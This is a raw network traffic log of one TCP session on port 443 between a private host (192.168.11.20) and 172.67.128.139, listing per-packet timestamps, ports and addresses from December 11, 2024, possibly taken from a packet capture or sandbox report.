Dec 11, 2024 12:14:46.349225044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.350796938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.350822926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.350963116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.350981951 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.351013899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.351013899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.351062059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.351109028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352695942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.352725983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.352849960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352849960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352865934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.352921963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352945089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352996111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.352996111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.354862928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.354908943 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.355356932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.355356932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.355356932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.355379105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.355402946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.355402946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.355402946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.357178926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.357217073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.357379913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.357404947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.357419968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.357481956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.357481956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.358933926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.358977079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.359102011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.359102011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.359122992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.359241009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.361021996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.361067057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.361188889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.361188889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.361188889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.361203909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.361340046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.362787962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.362831116 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.363065004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.363065004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.363065004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.363085032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.363106966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.363594055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.363760948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.363770008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.363873959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.368383884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.390032053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553275108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.553323984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.553566933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553735018 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553735971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553735971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553735971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.553755999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.553919077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.555347919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.555382967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.555567026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.555691957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.555701971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.555900097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.557182074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.557218075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.557396889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.557396889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.557418108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.557492971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.557590961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.559056997 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.559099913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.559191942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.559262037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.559262037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.559277058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.559343100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.559423923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.561252117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.561292887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.561400890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.561400890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.561466932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.561479092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.561563969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.561633110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.563194990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.563227892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.563422918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.563422918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.563422918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.563442945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.563644886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.564930916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.565368891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.565404892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.565479994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.565535069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.565535069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.565543890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.565646887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.565699100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.566279888 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.566443920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.566443920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568149090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568198919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.568237066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.568351030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568401098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568401098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568411112 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.568449974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568449974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.568634987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.570214987 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.570260048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.570430040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.570430040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.570444107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.570998907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.570998907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.572525978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.572561026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.572698116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.572853088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.572861910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.573060989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.574426889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.574465990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.574623108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.574623108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.574651957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.574743986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.574834108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.576450109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.576503038 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.576726913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.576967955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.576983929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.577246904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.577336073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578584909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.578623056 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.578728914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578794956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578794956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578810930 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.578830004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578871965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.578972101 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580264091 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.580306053 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.580431938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580431938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580478907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580490112 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.580528975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580528975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580624104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.580686092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.582719088 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.582766056 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.582902908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.582926989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.582926989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.582938910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.583028078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.583134890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.584577084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.584624052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.584744930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.584744930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.584754944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.584793091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.584891081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.584891081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.586468935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.586514950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.586663008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.586663008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.586693048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.586707115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.586791992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.586929083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588469982 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.588515997 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.588645935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588645935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588668108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588680029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.588716984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588766098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.588814974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.590524912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.590559959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.590869904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.590869904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.590922117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.590922117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.590935946 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.591120005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.592792988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.592825890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.592952013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.592952013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.592999935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.593008995 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.593097925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.593146086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594590902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.594707966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.594728947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594728947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594799995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594814062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.594902039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594902039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.594990015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.612447023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.622009039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.781116962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.781147957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.781312943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.781312943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.781330109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.781359911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.781464100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783010006 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.783055067 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.783245087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783296108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783395052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783395052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783401966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.783443928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.783684015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.785032988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.785062075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.785185099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.785248995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.785248995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.785258055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.785393000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787009954 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.787055016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.787161112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787161112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787205935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787213087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.787255049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787255049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.787354946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789007902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.789052963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.789159060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789159060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789207935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789208889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789213896 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.789285898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.789376974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.790796041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.790815115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.790963888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.790963888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.791023970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.791033983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.791048050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.791048050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.791256905 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.792530060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.793134928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.793263912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.793348074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.793494940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.793504000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.793687105 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795082092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.795094967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.795280933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795280933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795280933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795291901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.795355082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795465946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.795774937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.796993017 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.797004938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.797189951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.797189951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.797200918 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.797241926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.797338963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.799437046 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.799448967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.799627066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.799627066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.799635887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.799679041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.799726963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.799823046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.801227093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.801239967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.801417112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.801417112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.801465034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.801472902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.801534891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.801621914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.803215027 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.803226948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.803391933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.803391933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.803406954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.803414106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.803458929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.803559065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805161953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805229902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.805241108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.805444002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805444002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805485010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805485010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805485010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.805491924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.805645943 CET	49776	443	192.168.11.20	172.67.128.139
